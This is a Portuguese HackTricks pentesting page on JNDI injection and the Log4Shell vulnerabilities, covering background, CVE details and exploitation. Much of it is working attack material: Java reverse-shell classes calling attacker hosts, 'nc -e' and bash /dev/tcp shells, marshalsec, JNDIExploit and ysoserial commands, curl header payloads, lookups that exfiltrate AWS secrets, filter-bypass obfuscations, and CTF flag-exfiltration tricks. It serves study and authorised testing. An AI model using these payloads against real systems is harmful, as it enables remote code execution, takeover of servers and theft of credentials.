hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

36 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Informações Básicas

JNDI está presente no Java desde o final dos anos 90. É um serviço de diretório que permite que um programa Java encontre dados através de um diretório usando um serviço de nomes. Um serviço de nomes associa valores (vinculações), para que possam ser obtidos através de sua referência no diretório.

JNDI possui uma série de interfaces de provedor de serviço (SPIs) que permitem o uso de uma variedade de serviços de diretório. O objetivo do JNDI é obter dados de outros sistemas com muita facilidade. Você pode até obter objetos Java remotamente, e é aqui que surge um problema.

Por exemplo, existem SPIs para o CORBA COS (Common Object Service), o Java RMI (Remote Method Interface) Registry e LDAP.

Referência de Nomes JNDI

Para recuperar Objetos Java, você poderia serializá-los e salvar a representação binária. Mas há casos em que isso não funciona (talvez porque os dados sejam muito grandes ou qualquer outra coisa).
Para salvar Objetos Java mais facilmente, são usadas Referências de Nomes.
Existem 2 tipos de Referências de Nomes:

  • Endereços de Referência: Isso indica o endereço do Objeto (rmi://server/ref), então o objeto será recuperado desse endereço.
  • Fábrica Remota: Neste caso, uma classe de fábrica remota será apontada na referência JNDI, então, seguindo o endereço JNDI, a classe remota será retirada da fábrica remota e a classe será baixada e carregada.

Isso é perigoso porque atacantes podem fazer o sistema carregar objetos arbitrários e executar código arbitrário, portanto, algumas proteções existem:

  • RMI: java.rmi.server.useCodeabseOnly = true por padrão desde o JDK 7u21, caso contrário, permitirá carregar objetos Java personalizados remotamente. Além disso, mesmo que a proteção esteja desativada, um Gerenciador de Segurança é imposto para configurar o que pode ser carregado.
  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false por padrão desde o JDK 6u141, 7u131, 8u121, e não permitirá executar objetos Java arbitrários baixados. Mas se isso for definido como true, permitirá e nenhum Gerenciador de Segurança será imposto.
  • CORBA: Não há propriedade a ser configurada, mas o Gerenciador de Segurança é sempre imposto.

Além disso, o Gerenciador de Nomes, aquele que vai seguir os links JNDI, não tem nenhum Gerenciador de Segurança ou propriedade a ser configurada, então ele sempre tentará obter o objeto.

Como você pode ver, as proteções em geral não são suficientes porque não há proteção contra o carregamento de JNDI de endereços aleatórios e as proteções de RMI, LDAP e CORBA podem ser contornadas (dependendo da configuração) para carregar objetos Java arbitrários ou para carregar objetos Java que abusarão de componentes existentes no aplicativo como gadgets para executar código arbitrário.

Exemplos de URLs para abusar do JNDI:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

Exemplo de JNDI

Mesmo que você tenha definido um PROVIDER_URL, você pode indicar um diferente em uma pesquisa e ele será acessado: ctx.lookup("<attacker-controlled-url>") e é isso que um atacante vai abusar para carregar objetos arbitrários de um sistema controlado por ele.

CORBA

Um Interoperable Object Reference (IOR) é uma referência CORBA ou RMI-IIOP que identifica exclusivamente um objeto em um servidor CORBA remoto. IORs podem estar em formato binário ou representação hexadecimal em string do binário.
Entre outras informações, contém o Type ID (um identificador único para uma interface) e o Codebase (localização remota usada para obter a classe stub).
Note que por padrão CORBA não pode ser abusado.
Requer:

  • Um Gerenciador de Segurança deve ser instalado
  • Conexão com o codebase controlado pelo atacante deve ser permitida pelo Gerenciador de Segurança. Existem diferentes maneiras de permitir isso:
  • Permissão de socket: permissions java.net.SocketPermission "*:1098-1099", "connect";
  • Permissão de arquivo permitindo ler todos os arquivos: permission java.io.FilePermission "<<ALL FILES>>", "read";
  • Permissão de arquivo para ler a pasta onde o atacante pode fazer upload dos exploits (classes ou arquivo zip)

Você pode encontrar políticas de fornecedores permitindo isso por padrão.

RMI

Como indicado na seção anterior Referência de Nomes JNDI, RMI por padrão não permitirá baixar Classes Java arbitrárias. E, além disso, mesmo que permita, você precisará contornar as políticas do Gerenciador de Segurança (na seção anterior aprendemos que isso era possível com CORBA).

LDAP

Primeiro de tudo, precisamos distinguir entre uma Pesquisa e uma Consulta.
Uma pesquisa usará uma URL como ldap://localhost:389/o=JNDITutorial para encontrar o objeto JNDITutorial de um servidor LDAP e recuperar seus atributos.
Uma consulta é destinada a serviços de nomes pois queremos obter o que quer que esteja vinculado a um nome.

Se a pesquisa LDAP foi invocada com SearchControls.setReturningObjFlag() com true, então o objeto retornado será reconstruído.

Portanto, existem várias maneiras de atacar essas opções.
Um atacante pode envenenar registros LDAP introduzindo payloads neles que serão executados nos sistemas que os coletam (muito útil para comprometer dezenas de máquinas se você tiver acesso ao servidor LDAP). Outra maneira de explorar isso seria realizar um ataque MitM em uma pesquisa LDAP, por exemplo.

Caso você consiga fazer um aplicativo resolver uma URL JNDI LDAP, você pode controlar o LDAP que será pesquisado, e você poderia enviar de volta o exploit (log4shell).

Exploit de Deserialização

O exploit é serializado e será desserializado.
Caso trustURLCodebase seja true, um atacante pode fornecer suas próprias classes no codebase, se não, ele precisará abusar de gadgets no classpath.

Exploit de Referência JNDI

É mais fácil atacar esse LDAP usando referências JavaFactory:

Vulnerabilidade Log4Shell

A vulnerabilidade é introduzida no Log4j porque ele suporta uma sintaxe especial na forma ${prefix:name} onde prefix é um dos vários Lookups diferentes onde name deve ser avaliado. Por exemplo, ${java:version} é a versão atual em execução do Java.

Em LOG4J2-313 foi adicionado um jndi Lookup da seguinte forma: “O JndiLookup permite que variáveis sejam recuperadas via JNDI. Por padrão, a chave será prefixada com java:comp/env/, no entanto, se a chave contiver um ":" nenhum prefixo será adicionado.”

Com um : presente na chave, como em ${jndi:ldap://example.com/a} não há prefixo e o servidor LDAP é consultado pelo objeto. E esses Lookups podem ser usados tanto na configuração do Log4j quanto quando linhas são registradas.

Portanto, a única coisa necessária para obter RCE é uma versão vulnerável do Log4j processando informações controladas pelo usuário. E porque esta é uma biblioteca amplamente utilizada por aplicativos Java para registrar informações (incluindo aplicativos voltados para a Internet), era muito comum ter log4j registrando, por exemplo, cabeçalhos HTTP recebidos como o User-Agent. No entanto, log4j não é usado apenas para registrar informações HTTP, mas qualquer entrada e dados que o desenvolvedor indicou.

CVEs Log4Shell

  • CVE-2021-44228 [Crítico]: A vulnerabilidade original 'Log4Shell' é uma falha de deserialização não confiável. Classificada como crítica em gravidade, esta pontua 10 na escala CVSS e concede habilidades de execução de código remoto (RCE) a atacantes não autenticados, permitindo a tomada completa do sistema.

    Reportado por Chen Zhaojun da Alibaba Cloud Security Team para a Apache em 24 de novembro, CVE-2021-44228 impacta as configurações padrão de vários frameworks Apache, incluindo Apache Struts2, Apache Solr, Apache Druid, Apache Flink e outros.

    Sendo a mais perigosa de todas, essa vulnerabilidade se esconde no componente log4j-core, limitado às versões 2.x: de 2.0-beta9 até e incluindo 2.14.1. Uma correção para Log4Shell foi lançada na versão 2.15.0, mas considerada incompleta (continue lendo).

    O analista de inteligência de ameaças Florian Roth compartilhou regras Sigma [1, 2] que podem ser empregadas como uma das defesas.\
  • CVE-2021-45046 [Crítico, anteriormente Baixo]: Esta é uma falha de Negação de Serviço (DoS) pontuando 3.7 9.0. A falha surgiu como resultado de um correção incompleta que entrou na 2.15.0 para CVE-2021-44228. Embora a correção aplicada à 2.15.0 tenha resolvido em grande parte a falha, esse não foi bem o caso para certas configurações não padrão.

    Log4j 2.15.0 faz uma "tentativa de melhor esforço" para restringir pesquisas LDAP JNDI a _localhost_ por padrão. Mas, atacantes que têm controle sobre os dados de entrada do Mapa de Contexto de Thread (MDC) podem criar payloads maliciosos via padrões de Lookup JNDI para causar ataques DoS. Isso se aplica a configurações não padrão nas quais um Layout de Padrão não padrão usando um Context Lookup, por exemplo, $${ctx:loginId}, ou um padrão de Mapa de Contexto de Thread (%X, %mdc, ou %MDC).

    O bypass tirado deste tweet foi:
    Aqui está um PoC de como contornar as verificações allowedLdapHost e allowedClasses no Log4J 2.15.0. para alcançar RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} e para contornar allowedClasses basta escolher um nome para uma classe no JDK. A deserialização ocorrerá como de costume.
    __
    __"Log4j 2.16.0 corrige este problema removendo o suporte para padrões de pesquisa de mensagens e desativando a funcionalidade JNDI por padrão", afirma o aviso do NVD. Para aqueles na filial 2.12.1, uma correção foi retroportada para 2.12.2.\
  • CVE-2021-4104 [Alto]: Dissemos que as versões Log4j 2.x eram vulneráveis? E quanto ao Log4j 1.x?

    Embora anteriormente considerado seguro, Log4Shell encontrou uma maneira de se esconder no Log4j mais antigo também. Essencialmente, configuração não padrão de instâncias Log4j 1.x usando a classe _JMSAppender_** também se tornam suscetíveis à falha de deserialização não confiável**.

    Embora uma variante menos grave de CVE-2021-44228, no entanto, este CVE impacta todas as versões dos componentes log4j:log4j e org.apache.log4j:log4j para os quais existem apenas lançamentos 1.x. Como estas são versões fim de vida, uma correção para a filial 1.x não existe em lugar algum, e deve-se atualizar para log4j-core 2.17.0. (Aparentemente 1.0 não é vulnerável).\
  • CVE-2021-42550 [Moderado]: Esta é uma vulnerabilidade no framework de logging Logback. Sucessor da biblioteca Log4j 1.x, Logback afirma continuar "onde o log4j 1.x parou."

    Até a semana passada, Logback também se gabava de que, por ser "não relacionado ao log4j 2.x, [logback] não compartilha suas vulnerabilidades."

    Ess
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verificação

Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando solicitados.
Isso pode ser muito útil para 2 coisas:

  • Para verificar a vulnerabilidade
  • Para exfiltrar informações abusando da vulnerabilidade

Por exemplo, você poderia solicitar algo como:
ou como ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} e se um pedido DNS for recebido com o valor da variável de ambiente, você sabe que a aplicação está vulnerável.

Outras informações que você poderia tentar exfiltrar:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informações sobre RCE

{% hint style="info" %} Hosts rodando em versões do JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP MAS NÃO contra o vetor de deserialização. Isso ocorre porque com.sun.jndi.ldap.object.trustURLCodebase é desativado por padrão, portanto, o JNDI não pode carregar codebase remoto usando LDAP. Mas é importante enfatizar que deserialização e vazamento de variáveis ainda são possíveis.
Isso significa que para explorar as versões mencionadas você precisará abusar de algum gadget confiável que exista na aplicação java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões inferiores, você pode fazê-las carregar e executar classes arbitrárias (o que torna o ataque mais fácil).

Para mais informações (como limitações nos vetores RMI e CORBA) consulte a seção anterior de Referência de Nomenclatura JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec com payload personalizado

Este truque é totalmente retirado da caixa THM: https://tryhackme.com/room/solar__

Para este exploit, a ferramenta marshalsec (baixe uma versão jar daqui) será usada para criar um servidor de referência LDAP para direcionar conexões ao nosso servidor HTTP secundário onde o exploit será servido:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {
    static {
        try {
            String host="attacker.com";
            int port=4444;
            String cmd="/bin/bash";
            Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s=new Socket(host,port);
            InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
            OutputStream po=p.getOutputStream(), so=s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available()>0)
                    so.write(pi.read());
                while(pe.available()>0)
                    so.write(pe.read());
                while(si.available()>0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                }
                catch (Exception e){
                }
            };
            p.destroy();
            s.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

{% endcode %}

Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

{% endcode %}

Crie o arquivo de classe executando: javac Exploit.java -source 8 -target 8 e depois execute um servidor HTTP no mesmo diretório onde o arquivo de classe foi criado: python3 -m http.server.
O servidor LDAP do marshalsec deve estar apontando para este servidor HTTP.
Então, você pode fazer o servidor web vulnerável executar a classe de exploit enviando um payload como:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Por favor, note que se o Java não estiver configurado para carregar base de código remoto usando LDAP, este exploit personalizado não funcionará. Nesse caso, você precisa abusar de uma classe confiável para executar código arbitrário.

RCE - JNDIExploit

{% hint style="info" %} Observe que, por algum motivo, o autor removeu este projeto do github após a descoberta do log4shell. Você pode encontrar uma versão em cache em https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, mas se você quiser respeitar a decisão do autor, use um método diferente para explorar essa vulnerabilidade.

Além disso, você não pode encontrar o código-fonte na máquina wayback, então ou analise o código-fonte, ou execute o arquivo jar sabendo que você não sabe o que está executando. {% endhint %}

Para este exemplo, você pode simplesmente executar este servidor web vulnerável ao log4shell na porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (no README você encontrará como executá-lo). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP X-Api-Version.

Então, você pode baixar o arquivo jar do JNDIExploit e executá-lo com:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Após ler o código por alguns minutos, em com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer, você pode ver como os servidores LDAP e HTTP são criados. O servidor LDAP entenderá qual payload precisa ser fornecido e redirecionará a vítima para o servidor HTTP, que fornecerá o exploit. Em com.feihong.ldap.gadgets, você pode encontrar alguns gadgets específicos que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em com.feihong.ldap.template, você pode ver as diferentes classes de template que irão gerar os exploits.

Você pode ver todos os exploits disponíveis com java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Alguns úteis são:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Então, no nosso exemplo, já temos aquela aplicação vulnerável em docker em execução. Para atacá-la:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Ao enviar os ataques, você verá algumas saídas no terminal onde executou JNDIExploit-1.2-SNAPSHOT.jar.

Lembre-se de verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u para outras opções de exploração. Além disso, caso precise, você pode alterar a porta dos servidores LDAP e HTTP.

RCE - JNDI-Exploit-Kit

De maneira semelhante ao exploit anterior, você pode tentar usar JNDI-Exploit-Kit para explorar essa vulnerabilidade.
Você pode gerar as URLs para enviar à vítima executando:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Este ataque usando um objeto java personalizado gerado funcionará em laboratórios como a sala solar THM. No entanto, isso geralmente não funcionará (já que por padrão o Java não está configurado para carregar base de código remoto usando LDAP) Eu acho que é porque não está abusando de uma classe confiável para executar código arbitrário.

RCE - ysoserial & JNDI-Exploit-Kit

Esta opção é realmente útil para atacar versões Java configuradas para confiar apenas em classes especificadas e não em todas. Portanto, ysoserial será usado para gerar serializações de classes confiáveis que podem ser usadas como gadgets para executar código arbitrário (a classe confiável abusada pelo ysoserial deve ser usada pelo programa java da vítima para que o exploit funcione).

Usando ysoserial ou ysoserial-modified você pode criar o exploit de desserialização que será baixado pelo JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Utilize o JNDI-Exploit-Kit para gerar links JNDI onde o exploit estará aguardando por conexões das máquinas vulneráveis. Você pode servir diferentes exploits que podem ser gerados automaticamente pelo JNDI-Exploit-Kit ou até mesmo seus próprios payloads de deserialização (gerados por você ou ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um reverse shell apenas enviando para uma versão vulnerável do log4j: ${ldap://10.10.14.10:1389/generated}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Scanners Automáticos

Laboratórios para testar

Exploração Pós-Log4Shell

Neste writeup de CTF é bem explicado como é potencialmente possível abusar de algumas funcionalidades do Log4J.

A página de segurança do Log4j tem algumas frases interessantes:

A partir da versão 2.16.0 (para Java 8), o recurso de lookups de mensagens foi completamente removido. Lookups na configuração ainda funcionam. Além disso, o Log4j agora desativa o acesso ao JNDI por padrão. Lookups de JNDI na configuração agora precisam ser habilitados explicitamente.

A partir da versão 2.17.0, (e 2.12.3 e 2.3.1 para Java 7 e Java 6), apenas strings de lookup na configuração são expandidas recursivamente; em qualquer outro uso, apenas o lookup de nível superior é resolvido, e quaisquer lookups aninhados não são resolvidos.

Isso significa que por padrão você pode esquecer de usar qualquer exploit jndi. Além disso, para realizar lookups recursivos você precisa tê-los configurado.

Por exemplo, nesse CTF isso foi configurado no arquivo log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Consultas de Ambiente

Neste CTF, o atacante controlava o valor de ${sys:cmd} e precisava exfiltrar a flag de uma variável de ambiente.
Como visto nesta página em cargas úteis anteriores, existem diferentes maneiras de acessar variáveis de ambiente, como: ${env:FLAG}. Neste CTF isso foi inútil, mas pode não ser em outros cenários da vida real.

Exfiltração em Exceções

No CTF, você não podia acessar o stderr da aplicação java usando log4J, mas as exceções do Log4J são enviadas para stdout, que era impresso no aplicativo python. Isso significava que, ao provocar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag era: ${java:${env:FLAG}}. Isso funciona porque ${java:CTF{blahblah}} não existe e uma exceção com o valor da flag será mostrada:

Exceções de Padrões de Conversão

Só para mencionar, você também poderia injetar novos padrões de conversão e provocar exceções que seriam registradas no stdout. Por exemplo:

Isso não foi considerado útil para exfiltrar dados dentro da mensagem de erro, porque a consulta não era resolvida antes do padrão de conversão, mas poderia ser útil para outras coisas, como detecção.

Regexes de Padrões de Conversão

No entanto, é possível usar alguns padrões de conversão que suportam regexes para exfiltrar informações de uma consulta usando regexes e abusando de comportamentos de busca binária ou baseados em tempo.

  • Busca binária via mensagens de exceção

O padrão de conversão %replace pode ser usado para substituir conteúdo de uma string até mesmo usando regexes. Funciona assim: replace{pattern}{regex}{substitution}
Abusando desse comportamento, você poderia fazer com que o replace acionasse uma exceção se o regex correspondesse a algo dentro da string (e nenhuma exceção se não fosse encontrado) assim:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Baseado em tempo

Como mencionado na seção anterior, %replace suporta regexes. Assim, é possível usar um payload da página ReDoS para causar um timeout caso a flag seja encontrada.
Por exemplo, um payload como %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} acionaria um timeout nesse CTF.

Neste writeup, em vez de usar um ataque ReDoS, foi utilizado um ataque de amplificação para causar uma diferença de tempo na resposta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Se a flag começar com flagGuess, toda a flag é substituída por 29 # (usei este caractere porque provavelmente não faria parte da flag). Cada um dos 29 # resultantes é então substituído por 54 #. Esse processo é repetido 6 vezes, levando a um total de 29*54*54^6* =`` `` 96816014208 #-s!

Substituir tantos # acionará o timeout de 10 segundos da aplicação Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com flagGuess, receberemos um código de status diferente de 500)

Referências

Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: